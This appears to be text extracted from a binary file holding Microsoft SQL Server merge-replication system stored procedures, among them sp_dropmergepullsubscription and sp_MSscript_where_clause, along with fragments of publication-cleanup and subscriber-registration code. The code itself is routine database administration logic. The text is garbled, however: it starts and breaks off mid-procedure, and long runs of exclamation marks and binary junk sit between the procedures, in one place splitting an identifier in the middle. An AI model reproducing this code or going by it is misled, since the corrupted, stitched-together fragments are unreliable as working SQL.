        if @@ERROR<>0 
            goto Error

        exec @retcode= sys.sp_MSdrop_tempgenhistorytable @pubid
        if @@error<>0 or @retcode<>0 goto Error

		-- delete supportability settings for the subscriptions that we are about to delete.
        delete from dbo.MSmerge_supportability_settings where pubid = @pubid        	
        delete from dbo.MSmerge_log_files where pubid = @pubid

        delete from dbo.sysmergesubscriptions where pubid = @pubid and status <> 2
        if @@ERROR<>0 
            goto Error
        exec sys.sp_MScleanup_subscriber_history
        if @@ERROR<>0 
            goto Error
        delete from dbo.MSmerge_current_partition_mappings where publication_number = @publication_number
        if @@ERROR<>0 
            goto Error
        delete from dbo.MSmerge_past_partition_mappings where publication_number = @publication_number
        if @@ERROR<>0 
            goto Error
            
        -- drop the partition evaluation proc if it exists
        declare @partition_id_eval_proc nvarchar(258)
        select @partition_id_eval_proc = quotename(partition_id_eval_proc) from dbo.sysmergepublications where pubid = @pubid
        if @partition_id_eval_proc is not null and object_id('dbo.' + @partition_id_eval_proc) is not null
        begin
            exec ('drop procedure dbo.' + @partition_id_eval_proc)
            if @@error <> 0
                goto Error
        end
        
        delete from dbo.MSmerge_partition_groups where publication_number = @publication_number
        if @@ERROR<>0 
            goto Error
        delete from dbo.sysmergepublications where pubid = @pubid
        if @@ERROR<>0 
            goto Error
        delete from dbo.sysmergeschemachange where pubid = @pubid
        if @@ERROR<>0 
            goto Error

        -- If the only remaining subscriptions are old entries (before restore),
        -- we remove them now.
        if not exists (select * from dbo.sysmergesubscriptions 
                            where status <> 7) -- REPLICA_STATUS_BeforeRestore
        begin
            delete from dbo.sysmergesubscriptions
            truncate table dbo.MSmerge_supportability_settings
            truncate table dbo.MSmerge_log_files
            truncate table dbo.MSrepl_errors
            truncate table dbo.MSmerge_history
            truncate table dbo.MSmerge_articlehistory
            truncate table dbo.MSmerge_sessions
            delete from dbo.MSmerge_replinfo
        end
    end
    else
    begin
        delete from dbo.MSmerge_replinfo 
            where repid in (select subid from dbo.sysmergesubscriptions where pubid = @pubid and status <> 2)
        if @@ERROR<>0 
            goto Error
            
		-- delete supportability settings for the subscriptions that we are about to delete.
        delete from dbo.MSmerge_supportability_settings where pubid = @pubid        	
        delete from dbo.MSmerge_log_files where pubid = @pubid

        delete from dbo.sysmergesubscriptions where pubid = @pubid and status <> 2
        if @@ERROR<>0 
            goto Error
        exec sys.sp_MScleanup_subscriber_history
        if @@ERROR<>0 
            goto Error
        delete from dbo.sysmergepublications where pubid = @pubid
        if @@ERROR<>0 
            goto Error
    end

    commit tran 
    return (0)

Error:
    rollback tran MSpublicationcleanup
    commit tran 
    return (1)
::@SERVERNAME) = UPPER(@distributor)
			BEGIN
				-- If this server is a distributor, check MSsubscriber_info for
				-- an entry.  The srvstatus bit can be set either because the server is a
				-- subscriber to an Oracle publisher sharing this distributor or because
				-- the server is a subscriber to this SQL Server publisher.
				SELECT @distproc = 'IF EXISTS (SELECT * ' +
							'FROM ' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.MSsubscriber_info ' +
							'WHERE UPPER(publisher) = UPPER(' + quotename(@publisher, '''') + ') ' +
							'AND   UPPER(subscriber) = UPPER(' + quotename(@subscriber, '''') + ')) ' +
						'BEGIN ' +				
							'RAISERROR (14040, 16, -1, ' + QUOTENAME(@subscriber, '''') + ')' +
						'END '	
				EXEC (@distproc)
				IF @@error <> 0 
				BEGIN
					goto undo
				END
			END
			ELSE
			-- if the sysservers entry exists as a subscriber and the publisher is not also 
			-- a distributor, the server is already a subscriber to this publisher 
			BEGIN
				RAISERROR (14040, 16, -1, @subscriber)
				goto undo
			END
        END
	END
	
	/*
	**  If no MSsubscriber_info parameters skip update of MSsubscriber_info
	*/
	IF @frequency_type = -1
		GOTO ADDSUB

	DECLARE @zeroint int
	SELECT @zeroint = 0
	/*
	** Insert information into MSsubscriber_info
	*/
	SELECT @distproc = QUOTENAME(RTRIM(@dist_rpcname)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSadd_subscriber_info'
	EXEC @retcode = @distproc
			@publisher,
			@subscriber,
			@type,
			@login,
			@password,
			@commit_batch_size,
			@status_batch_size,
			@flush_frequency,
			@frequency_type,
			@frequency_interval,
			@frequency_relative_interval,
			@frequency_recurrence_factor,
			@frequency_subday,
			@frequency_subday_interval,
			@active_start_time_of_day,
			@active_end_time_of_day,
			@active_start_date,
			@active_end_date,
			/* Work around of server RPC  named parameter problem */
			@retryattempts 		= @zeroint,
			@retrydelay  		= @zeroint,
			@description 		= @description,
			@security_mode 		= @security_mode,
			@encrypted_password = @encrypted_password,
			@internal			= @internal
	IF @@error <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (14042, 16, -1)
		goto undo
	END

	/*
	** add schedule information into MSsubscriber_schedule for merge agent
	*/
	-- NOTE: We may need better default schedule for merge agent
    
	SELECT @distproc = QUOTENAME(RTRIM(@dist_rpcname)) + '.' + QUOTENAME(RTRIM(@distribdb)) + '.dbo.sp_MSadd_subscriber_schedule'
	EXEC @retcode = @distproc
		@publisher,
		@subscriber,
		0, -- agent_type = 0 means distribution agent
		@frequency_type,
		@frequency_interval,
		@frequency_relative_interval,
		@frequency_recurrence_factor,
		@frequency_subday,
		@frequency_subday_interval,
		@active_start_time_of_day,
		@active_end_time_of_day,
		@active_start_date,
		@active_end_date
	IF @@error <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (14042, 16, -1)
		goto undo
	END

	EXEC @retcode = @distproc
		@publisher,
		@subscriber,
		1,             --agent_type = 0 means merge agent
		4,             --frequency_type,
		1,             --frequency_interval,
		1,             --frequency_relative_interval,
		0,             --frequency_recurrence_factor,
		8,             --frequency_subday,
		1,             --frequency_subday_interval,
		0,             --active_start_time_of_day,
		235959,        --active_end_time_of_day,
		0,             --active_start_date,
		99991231       --active_end_date
    
	IF @@error <> 0 OR @retcode <> 0
	BEGIN
		RAISERROR (14042, 16, -1)
		goto undo
	END

ADDSUB:
	EXEC @retcode = sys.sp_MSadd_subserver @subscriber = @subscriber,
											@type = @type
    IF @@error <> 0 OR @retcode <> 0
	BEGIN
		goto undo
	END
	
	RETURN (0) 
undo:
	RETURN (1) 
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(+\r2v6create procedure sys.sp_dropmergepullsubscription(
    @publication        sysname = NULL,             /* Publication name */
    @publisher          sysname = NULL,             /* Publisher server */
    @publisher_db       sysname = NULL,             /* Publication database */
    @reserved           bit = 0
    )AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    declare @retcode                int
    declare @pubid                  uniqueidentifier
    declare @subid                  uniqueidentifier
    declare @local_db               sysname
    declare @merge_jobid            binary(16)
    declare @job_step_uid 			uniqueidentifier
    declare @cmd                    nvarchar(255)
    declare @pubidstr               nvarchar(38)
    declare @subscriber             sysname
    declare @subscriber_db          sysname
    declare @subscriber_type        int
    declare @local_job              bit
    declare @implicit_transaction   int
    declare @close_cursor_at_commit int
    declare @owner_sid              varbinary(85)
    declare @owner_name             sysname
    declare @qualified_publication_name nvarchar(512)
    declare @subscriber_type_anon   tinyint
    declare @REPLICA_STATUS_BeforeRestore tinyint

    set @subscriber_type_anon= 3
    set @REPLICA_STATUS_BeforeRestore= 7

    select @close_cursor_at_commit = 0
    select @implicit_transaction = 0

    /*
    ** Get original setting values before setting them to false for recursive calling
    */
    IF (@reserved = 0)
    BEGIN
        SELECT @implicit_transaction = @@options & 2
        SELECT @close_cursor_at_commit = @@options & 4
        SET IMPLICIT_TRANSACTIONS OFF
        SET CURSOR_CLOSE_ON_COMMIT OFF
    END

    /* 
    ** Security Check.
    */
    exec @retcode = sys.sp_MSreplcheck_subscribe
    if @@ERROR <> 0 or @retcode <> 0
        return(1)

     /*
    ** Initializations.
    */              
    set @local_db = DB_NAME()
    set @subscriber = @@SERVERNAME   
    set @subscriber_db = DB_NAME()

   /*
    ** Assign parameter values appropriately
    */    
    IF object_id('dbo.sysmergesubscriptions', 'U') is null
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check: @publisher
    ** Check to make sure that the publisher is defined
    */
    IF @publisher IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher', 'sp_dropmergepullsubscription')
        RETURN (1)
    END

    EXECUTE @retcode = sys.sp_validname @publisher
    IF @@ERROR <> 0 OR @retcode <> 0
       RETURN (1)

    /*
    ** Parameter Check: @publisher_db
    */
    IF @publisher_db IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publisher_db', 'sp_dropmergepullsubscription')
        RETURN (1)
    END    

    /*
    ** Parameter Check:  @publication.
    ** If the publication name is specified, check to make sure that it
    ** conforms to the rules for identifiers and that the publication
    ** actually exists.  Disallow NULL.
    */
    if @publication IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@publication', 'sp_dropmergepullsubscription')
        RETURN (1)
    END

    IF LOWER(@publication) = 'all'
    BEGIN
            declare hC1 CURSOR LOCAL FAST_FORWARD FOR 
                select DISTINCT name FROM dbo.sysmergepublications 
                FOR READ ONLY        
        OPEN hC1
        FETCH hC1 INTO @publication
        if @@fetch_status = -1 
        begin
            CLOSE hC1
            DEALLOCATE hC1
            RETURN (0) --- It's OK to have no publication when 'ALL'
        end
        WHILE (@@fetch_status <> -1)
        BEGIN
            EXECUTE sys.sp_dropmergepullsubscription @publication = @publication,
                              @publisher = @publisher,
                              @publisher_db = @publisher_db,
                              @reserved = 1
            FETCH hC1 INTO @publication
        END
        CLOSE hC1
        DEALLOCATE hC1
        RETURN (0)
    END
        
    IF LOWER(@publisher) = 'all'
    BEGIN
        declare hC4 CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT publisher FROM dbo.sysmergepublications 
            FOR READ ONLY
        OPEN hC4
        FETCH hC4 INTO @publisher
        WHILE (@@fetch_status <> -1)
        BEGIN
            EXECUTE sys.sp_dropmergepullsubscription @publication = @publication,
                                        @publisher = @publisher,
                                        @publisher_db = @publisher_db,
                                        @reserved = 1
            FETCH hC4 INTO @publisher
        END
        CLOSE hC4
        DEALLOCATE hC4
        RETURN (0)
    END

    /*
    ** Validate that the publisher is a valid server
    */
    /*
    select @publisher_srvid = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@publisher) collate database_default
    IF @publisher_srvid IS NULL
    BEGIN
        RAISERROR (14080, 16, -1, @publisher)
        RETURN (1)
    END
    */

    /* Previously the condition is set as 'AND subid<>pubid' which is fatally errorous */
    IF LOWER(@publisher_db) = 'all'
    BEGIN
        declare hC5 CURSOR LOCAL FAST_FORWARD FOR 
            select DISTINCT publisher_db 
            FROM dbo.sysmergepublications 
            WHERE upper(publisher collate SQL_Latin1_General_CP1_CS_AS)=upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) and 
                  name=@publication
            FOR READ ONLY

        OPEN hC5
        FETCH hC5 INTO @publisher_db
        WHILE (@@fetch_status <> -1)
        BEGIN
            EXECUTE sys.sp_dropmergepullsubscription @publication = @publication,
                              @publisher = @publisher,
                              @publisher_db = @publisher_db,
                              @reserved = 1
            FETCH hC5 INTO @publisher_db
        END
        CLOSE hC5
        DEALLOCATE hC5
        RETURN (0)
    END

    /*
    ** return error if only there is no 'ALL'. Same is true for the rest of error handling.
    */

    select @pubid= pubid from dbo.sysmergepublications 
        where name = @publication and 
              upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(@publisher collate SQL_Latin1_General_CP1_CS_AS) and 
              publisher_db = @publisher_db
    if @pubid is null  
    BEGIN
        if @reserved = 0
            RAISERROR (20026, 16, -1, @publication)
        RETURN (1)
    END

    set @pubidstr = '''' + convert(nchar(36), @pubid) + ''''
    /*
    ** Only members of the sysadmin group and the creator of the distribution
    ** agent can drop a pull subscription successfully. This behavior matches 
    ** the behavior of the sysjobs_view. DBO of the subscriber database, 
    ** sysadmins (owner is undefined) can drop a subscription if the owner_sid 
    ** is null.
    */
    
    EXEC sys.sp_MSget_mergepullsubsagent_owner @publisher = @publisher,
                                               @publisher_db = @publisher_db,
                                               @publication = @publication,
                                               @owner_sid = @owner_sid OUTPUT 
    
    IF (@owner_sid is not null AND
        (SUSER_SID() <> @owner_sid) AND
        (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0))
    BEGIN
        SELECT @owner_name = SUSER_SNAME(@owner_sid)
        SELECT @qualified_publication_name = @publisher + N':' + 
                                             @publisher_db + N':' +
                                             @publication
        RAISERROR(21121,16,-1,@owner_name, @qualified_publication_name) 
        RETURN (1)
    END

    /*
    ** Get subscriptions from either local replicas or global replicas
    */
    /*
    select @subid = subs1.su!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<h,\%66bid, @subscriber_type = subs1.subscriber_type from
        dbo.sysmergesubscriptions   subs1,
        dbo.sysmergesubscriptions   subs2,
        dbo.sysmergepublications    pubs
        where subs1.srvid = @subscriber_srvid
            and subs1.db_name = @subscriber_db
            and subs2.srvid = @publisher_srvid
            and subs2.db_name = @publisher_db
            and subs1.pubid = subs2.subid
            and subs2.pubid = pubs.pubid
            and pubs.name = @publication
            and upper(pubs.publisher collate SQL_Latin1_General_CP1_CS_AS)=upper(@publisher collate SQL_Latin1_General_CP1_CS_AS)
            and pubs.publisher_db=@publisher_db
   */
    select @subid = subid from dbo.sysmergesubscriptions 
        where pubid = @pubid and pubid <> subid and db_name = @subscriber_db and UPPER(subscriber_server) = UPPER(@subscriber)
    if @subid IS NULL 
    begin
        if @reserved = 0 
            raiserror (14050, 16, -1)
        RETURN (0)
    end                 

    exec @retcode = sys.sp_resetsnapshotdeliveryprogress @drop_table = N'true'
    if @@error <> 0 or @retcode <> 0
    begin
        return (1)
    end

    begin tran
    save TRAN dropmergepullsubscription
    
    /*  
    ** Drop the local merge task
    */
    select @merge_jobid = merge_jobid from dbo.MSmerge_replinfo WHERE repid = @subid

    if (@merge_jobid IS NOT NULL)
    BEGIN
        IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE job_id = @merge_jobid)
        BEGIN
        	SELECT @job_step_uid = job_step_uid
		    FROM MSsubscription_properties
		    WHERE UPPER(publisher) = UPPER(@publisher)
		       AND publisher_db = @publisher_db
		       AND publication = @publication
		       AND publication_type = 2
		       
            -- Checks if the job name matches one that is generated
            -- by replication
            EXEC @retcode = sys.sp_MSispullmergejobnamegenerated
                                @publisher = @publisher,
                                @publisher_db = @publisher_db,
                                @publication = @publication,
                                @job_id = @merge_jobid
            IF @@ERROR <> 0
                GOTO FAILURE

            -- Only drop the job if the name was generated
            IF @retcode = 0
            BEGIN
                EXEC @retcode = sys.sp_MSdrop_repl_job @job_id = @merge_jobid,
                										@job_step_uid = @job_step_uid 
                IF @@ERROR <> 0 or @retcode <> 0
                    GOTO FAILURE
            END
        END
    END                                 

    if @subid <> @pubid
    BEGIN
        DELETE dbo.MSmerge_replinfo WHERE repid = @subid 
        IF @@ERROR <> 0
            GOTO FAILURE

		-- delete supportability settings for the subscriptions that we are about to delete.
        delete from dbo.MSmerge_supportability_settings where subid = @subid        	
        delete from dbo.MSmerge_log_files where subid = @subid

        delete from dbo.sysmergesubscriptions where subid = @subid
        if @@ERROR <> 0
            GOTO FAILURE
            
        exec sys.sp_MScleanup_subscriber_history @subid=@subid
		if @@ERROR <> 0
            GOTO FAILURE
            
        /* Call sp_MSunregistersubscription so that the reg entries get deleted */
        exec @retcode = sys.sp_MSunregistersubscription @publisher = @publisher,
                                    @publisher_db = @publisher_db,
                                    @publication = @publication,
                                    @subscriber = @@SERVERNAME,
                                    @subscriber_db = @subscriber_db
        IF @retcode<>0 or @@ERROR<>0
            GOTO FAILURE

        exec @retcode= sys.sp_MSpublicationcleanup @publisher=@publisher, 
                                        @publisher_db = @publisher_db,
                                        @publication = @publication,
                                        @force_preserve_rowguidcol = 0
        IF @retcode<>0 or @@ERROR <> 0 
        BEGIN
            RAISERROR (20025, 16, -1, @publication)
            GOTO FAILURE
        END

        -- If the only remaining subscriptions are old entries (before restore),
        -- we remove them now.
        if not exists (select * from dbo.sysmergesubscriptions 
                            where status <> @REPLICA_STATUS_BeforeRestore)
        begin
            delete from dbo.sysmergesubscriptions
            truncate table dbo.MSmerge_supportability_settings
            truncate table dbo.MSmerge_log_files
            truncate table dbo.MSrepl_errors
            truncate table dbo.MSmerge_history
            truncate table dbo.MSmerge_articlehistory
            truncate table dbo.MSmerge_sessions
            delete from dbo.MSmerge_replinfo
        end
    END

    IF object_id('MSsubscription_properties', 'U') is not NULL
    BEGIN
        DELETE FROM MSsubscription_properties 
        WHERE upper(publisher collate SQL_Latin1_General_CP1_CS_AS) = upper(@publisher collate SQL_Latin1_General_CP1_CS_AS)    AND
        publisher_db  = @publisher_db AND
        publication = @publication 

        IF @@ERROR <> 0 
            GOTO FAILURE

        IF NOT EXISTS (SELECT * FROM MSsubscription_properties)
        BEGIN
            exec @retcode = sys.sp_MSsub_cleanup_prop_table
            IF @@ERROR <> 0 or @retcode <> 0
                GOTO FAILURE
        END
    END

    COMMIT TRAN
    /*
    ** Set back original settings
    */
    IF @reserved = 0
    BEGIN
        declare @whattodrop int    -- 1=hws, 2=lws, 3=both
        set @whattodrop= 0

        if not exists (select * from dbo.sysmergesubscriptions
                            where subscription_type <> 3 and
                                  status <> @REPLICA_STATUS_BeforeRestore)
        begin
            set @whattodrop= 1
        end
                
        if not exists (select * from dbo.sysmergesubscriptions
                            where subscription_type = 3 and
                                  status <> @REPLICA_STATUS_BeforeRestore)
        begin
            set @whattodrop= @whattodrop + 2
        end

        /* 
        ** If last subscription is dropped and the DB is not enabled for publishing,
        ** then remove the merge system tables
        */
        if 0 <> @whattodrop and
           0 = (select category & 4 FROM master.dbo.sysdatabases WHERE name = DB_NAME())
        begin
            execute @retcode= sys.sp_MSdrop_mergesystables @whattodrop=@whattodrop
            if @@ERROR <> 0 or @retcode <> 0 return (1)

            execute @retcode=sys.sp_MSrepl_ddl_triggers @type='merge', @mode='drop'
            if @@ERROR <> 0 or @retcode <> 0 goto FAILURE            
        end

        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END

    -- note that here we will ignore any errors.
    EXEC sys.sp_dropreplsymmetrickey @check_replication = 1, @throw_error = 0

    RETURN(0)       

FAILURE:
    RAISERROR (14056, 16, -1)
    if @@trancount > 0
    begin
        ROLLBACK TRANSACTION dropmergepullsubscription
        COMMIT TRANSACTION
    end
    /*
    ** Set back original settings
    */  
    IF @reserved = 0
    BEGIN
        IF @implicit_transaction <>0 
            SET IMPLICIT_TRANSACTIONS ON
        IF @close_cursor_at_commit <>0 
            SET CURSOR_CLOSE_ON_COMMIT ON
    END
    return 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(-*?vPcreate procedure sys.sp_MSscript_where_clause 
(
    @objid int,
    @artid int, 
    @clause_type varchar(15) = 'pk_new', -- 'new pk', 'old pk', 'upd version', 'upd rc', 'trg pk', 'qcft_comp', 'new_pk_q', 'subwins_check'
    @ts_col sysname = NULL,
    @indent int = 0,
    @op_type char(3) = NULL, -- 'ins', 'del', 'upd'
    @primary_key_bitmap varbinary(4000) = null 
)
as
BEGIN
    declare @cmd            nvarchar(4000)
                ,@colname        sysname
                ,@ccoltype        sysname
                ,@spacer        nvarchar(20)
                ,@indkey        int
                ,@indid            int
                ,@key            sysname
                ,@rc            int
                ,@this_col        int
                ,@art_col        int
                ,@src_cols        int
                ,@total_col        int
                ,@col            sysname
                ,@qualname        nvarchar(517)
                ,@curparam        nvarchar(20)
                ,@retcode        int
                ,@fcreatedcolmap    bit
                ,@thisspname sysname
    declare @colmap table (relativeorder int identity(1,1), colid int)

    select @spacer = N' '
            ,@cmd = N''
            ,@indkey = 1
            ,@indid = 0
            ,@fcreatedcolmap = 0
            ,@thisspname = N'sp_MSscript_where_clause'
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    select @src_cols = max(column_id)
            ,@total_col = count(column_id)
    from sys.columns where object_id = @objid
    exec sys.sp_MSpad_command @cmd output, @indent
    select @cmd = case when (@clause_type = 'qcft_comp') 
                then @cmd + N' N'' where '
                else @cmd + N'where' end
    exec sys.sp_MSflush_command @cmd output, 1, @indent
    --
    -- process based on clause type
    --
    if @clause_type in ('new pk','old pk','upd version','trg pk','version pk','qcft_comp','new_pk_q','subwins_check')
    begin
        if @primary_key_bitmap is null
        begin
            exec @indid = sys.sp_MStable_has_unique_index @objid
            if @indid is null
            begin
                raiserror(21750, 16, 1, @qualname)
                return (1)
            end
        end
        else
        begin
            --
            -- PK bitmap is not null
            -- check if column Id match relative column order
            -- for specific trigger operations
            --
            if ((@total_col < @src_cols) and (@clause_type = 'trg pk') and (@artid is null))
            begin
                --
                -- this table may have altered columns, so when we need to 
                -- set a mapping for using the bitmaps properly as the bitmap
                -- always refers relative column order
                --
                insert into @colmap (colid)
                select column_id from sys.columns where object_id = @objid order by column_id
                if (@@error != 0)
                begin
                    raiserror(21499, 16, 1, @thisspname, 'populate', '@colmap', @@error)
                    return (1)
                end
                select @fcreatedcolmap = 1
            end
        end
        --
        -- process each PK column
        --
        while (1=1)
        begin
            --
            -- get the column position
            --
            if @primary_key_bitmap is null 
            begin
                select @key = index_col(@qualname, @indid, @indkey)
                if @key is null
                    break
                exec sys.sp_MSget_col_position @objid, @artid, @key, @col output, NULL, 0, NULL, @this_col output
            end
            else
            begin
                exec sys.sp_MSget_map_position @primary_key_bitmap, @indkey, @col output, @this_col output
                if @this_col is null
                    break
                --
                -- set the actual column id for this relative order in the PK bitmap if necessary
                --
                if (@fcreatedcolmap = 1)
                begin
                    select @this_col = colid
                            ,@col = 'c' + convert(sysname, colid) 
                    from @colmap 
                    where relativeorder = @this_col 
                end
            end
            --
            -- Get column name
            --
            exec @retcode = sys.sp_MSget_colinfo @objid, @this_col, @artid, 0, @key output, @ccoltype output
            if (@retcode = 1)
            begin
                --
                -- this column not used for replication
                -- continue
                --
                select @indkey = @indkey + 1
                continue
            end
        
            if @clause_type = 'new pk'
            begin
                if ColumnProperty(@objid, @key, 'IsIdentity') = 1
                    select @cmd = @cmd + @spacer + quotename(@key) + N' = @@identity'
                else
                    select @cmd = @cmd + @spacer + quotename(@key) + N' = @' + @col

                select @spacer = ' and '
            end
            else if @clause_type in ('upd version', 'subwins_check')
            begin
                select @cmd = @cmd + @spacer + quotename(@key) + N' = @' + @col + N'_old'
                select @spacer = ' and '
            end
            else if @clause_type = 'version pk'
            begin
                select @cmd = @cmd + @spacer + @qualname + '.' + quotename(@key) + N' = inserted.' + quotename(@key)
                select @spacer = ' and
    '
            end
            else if @clause_type in ('trg pk', 'old pk')
            begin
                if @op_type = 'ins'
                    select @cmd = @cmd + @spacer + quotename(@key) + N' = @' + @col + N'_old'
                else
                    -- The vars correspoding to pk were set in sp_MSscript
                    -- _pkvar_assignment.
                    select @cmd = @cmd + @spacer + quotename(@key) + N' = @' + @col 

                    select @spacer = ' and
    '
            end
            else if (@clause_type = 'qcft_comp')
            begin
                --
                -- Conflict compensation generation
                -- This is a special case - we generate
                -- and exec string for the WHERE clause
                --
                select @curparam = case 
                    when (@op_type = 'ins') then N'@' + @col
                    when (@op_type = 'del') then N'@' + @col + N'_old'
                    else N'ISNULL(@' + @col + N', @' + @col + N'_old)' end
                    ,@cmd = @cmd + @spacer + sys.fn_replreplacesinglequote(quotename(@key))
                
                if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'varchar')
                    select @cmd = @cmd + N' = '' + '''''''' + sys.fn_replreplacesinglequote(' + @curparam + N') collate database_default + '''''''' '
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'nvarchar')
                    select @cmd = @cmd + N' = '' + ''N'''''' + sys.fn_replreplacesinglequote(' + @curparam + N') collate database_default + '''''''' '
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'char')
                    select @cmd = @cmd + N' = '' + '''''''' + sys.fn_replreplacesinglequote(CAST(RTRIM(' + @curparam + N') as nvarchar)) collate database_default + '''''''' '
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'nchar')
                    select @cmd = @cmd + N' = '' + ''N'''''' + sys.fn_replreplacesinglequote(CAST(RTRIM(' + @curparam + N') as nvarchar)) collate database_default + '''''''' '
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('binary','varbinary'))!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
S.*iP
                    select @cmd = @cmd + N' = '' + sys.fn_varbintohexstr(' + @curparam + N') collate database_default ' 
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('bit','bigint','int','smallint','tinyint','decimal','numeric'))
                    select @cmd = @cmd + N' = '' + CAST(' + @curparam + N' as nvarchar) '
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('float','real'))
                    select @cmd = @cmd + N' = '' + CONVERT(nvarchar(60),' + @curparam + N', 2) '
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('money','smallmoney'))
                    select @cmd = @cmd + N' = '' + CONVERT(nvarchar(40),' + @curparam + N', 2) '
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'uniqueidentifier')
                    select @cmd = @cmd + N' = '' + '''''''' + CAST(' + @curparam + N' as nvarchar(40)) + '''''''' '
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('datetime','smalldatetime'))
                    select @cmd = @cmd + N' = '' + '''''''' + CONVERT(nvarchar(40), ' + @curparam + N', 112) + N'' '' + CONVERT(nvarchar(40), ' + @curparam + N', 114) + '''''''' '    
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) in ('date','time','datetime2','datetimeoffset'))
                    select @cmd = @cmd + N' = '' + '''''''' + CONVERT(nvarchar(40), ' + @curparam + N', 121) + '''''''' '    
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'sql_variant')
                    select @cmd = @cmd + N' = '' + sys.fn_sqlvarbasetostr(' + @curparam + N' ) collate database_default '
                else if (lower(@ccoltype collate SQL_Latin1_General_CP1_CS_AS) = 'xml')
                    select @cmd = @cmd + N' = '' + ''N'''''' + CAST(' + @curparam + N' as nvarchar(max)) + '''''''' '
                else
                    select @cmd = @cmd + N' = '' + CAST(' + @curparam + N' as nvarchar) '
                
                select @spacer = ' + '' and  '
            end
            else if @clause_type = 'new_pk_q'
            begin
                --
                -- new value of primary key, ignore identity
                -- used for scripting in synctran procs
                --
                select @cmd = @cmd + @spacer + quotename(@key) + N' = @' + @col
                select @spacer = ' and '
            end
            select @indkey = @indkey + 1
            -- flush command if necessary
            exec sys.sp_MSflush_command @cmd output, 1, @indent
        end -- end of while loop
        --
        -- add version col as necessary
        --
        if ((@clause_type in ('upd version','subwins_check')) and (@ts_col is not null))
        begin
            --
            -- @ts_col is version col actually.
            -- check for special cases for queued processing
            --
            exec sys.sp_MSget_col_position @objid, @artid, @ts_col, @col output
            select @cmd = case when (@clause_type = 'subwins_check') 
                    then @cmd + @spacer + @ts_col + N' = @' + @col
                    else @cmd + @spacer + @ts_col + N' = @' + @col + N'_old' end
            --
            -- save off command fragment
            --
            exec sys.sp_MSflush_command @cmd output, 1, @indent
        end
    end -- end of if clause_type
    -- 'upd rc' is used for column value conflict detection. It is no longer used.
    else if @clause_type = 'upd rc'
    begin
        select @this_col = 1, @art_col = 1

        while @this_col <= @src_cols
        begin
            exec @rc = sys.sp_MSget_colinfo @objid, @this_col, @artid, 0, @colname output, @ccoltype output
            if @rc = 0
            begin
                select @cmd = @cmd +  @spacer + '(' + @colname + N' = @c' + convert(varchar(4), @this_col) + N'_old or (' 
                select @cmd = @cmd + @colname + ' is null and @c' + convert(varchar(4), @this_col) + N'_old is null)) '
                select @spacer = N' and 
    '
                exec sys.sp_MSflush_command @cmd output, 0, @indent
            end
            exec sys.sp_MSflush_command @cmd output, 1, @indent
            select @this_col = @this_col + 1
        end
        --
        -- save off cmd fragment
        --
        exec sys.sp_MSflush_command @cmd output, 1, @indent
    end
    --
    -- all done
    --
    return 0
END
